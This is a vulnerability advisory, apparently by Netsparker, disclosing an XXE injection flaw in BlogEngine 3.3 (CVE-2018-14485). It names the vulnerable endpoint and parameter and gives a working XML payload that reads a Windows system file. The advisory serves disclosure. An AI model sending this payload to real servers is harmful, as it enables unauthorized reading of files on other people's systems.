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BlogEngine 3.3 XML External Entity Injection

BlogEngine 3.3 XML External Entity Injection
Posted Jan 9, 2019
Authored by Mustafa Yalcin | Site netsparker.com

BlogEngine version 3.3 suffers from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2018-14485
MD5 | 158c165dcd25c8de8be755c65883778b

BlogEngine 3.3 XML External Entity Injection

Change Mirror Download
XML External Entity Injection Vulnerability in BlogEngine 3.3

Information
--------------------

Advisory by Netsparker
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3
Affected Software: BlogEngine
Affected Versions: 3.3
Homepage: https://blogengine.io/
Vulnerability: XML External Entity (XXE) Injection Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14485
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
Netsparker Advisory Reference: NS-18-045

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/metaweblog.axd
Parameter Name: BodyXML
Parameter Type: POST
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Advisory Timeline
--------------------

12th November 2018- First Attempt to Contact
9th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.

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